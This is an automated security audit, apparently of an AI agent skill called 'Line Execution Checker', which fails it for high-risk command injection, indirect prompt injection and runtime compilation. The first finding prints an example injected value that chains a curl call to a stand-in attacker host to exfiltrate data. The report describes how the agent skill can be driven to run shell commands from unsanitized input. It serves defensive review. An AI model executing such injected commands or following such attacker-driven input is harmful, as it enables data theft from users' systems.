Line Execution Checker
Fail
Audited by Gen Agent Trust Hub on Feb 16, 2026
Risk Level: HIGHCOMMAND_EXECUTION
Full Analysis
- [COMMAND_EXECUTION] (HIGH): The skill constructs shell commands by directly inserting user input into a command string (e.g.,
./line-checker file.c:X). This allows an attacker to perform command injection using shell metacharacters such as semicolons, pipes, or backticks (e.g.,file.c:1; curl attacker.com/exfil). - [Indirect Prompt Injection] (HIGH): The skill processes untrusted user input and uses it to drive high-privilege actions like binary execution. Mandatory Evidence Chain: 1. Ingestion points: User-provided file paths and line numbers in the prompt. 2. Boundary markers: Absent; input is directly concatenated into shell strings. 3. Capability inventory: Shell command execution, runtime compilation via
g++, and file system discovery viafind. 4. Sanitization: Absent; no validation of input characters or path traversal checks. - [Dynamic Execution] (MEDIUM): The skill relies on runtime compilation of
line_checker.cppusingg++. While functional, runtime compilation of local source files is a high-risk pattern that can be leveraged for execution if the source file is modified or replaced.
Recommendations
- AI detected serious security threats
Audit Metadata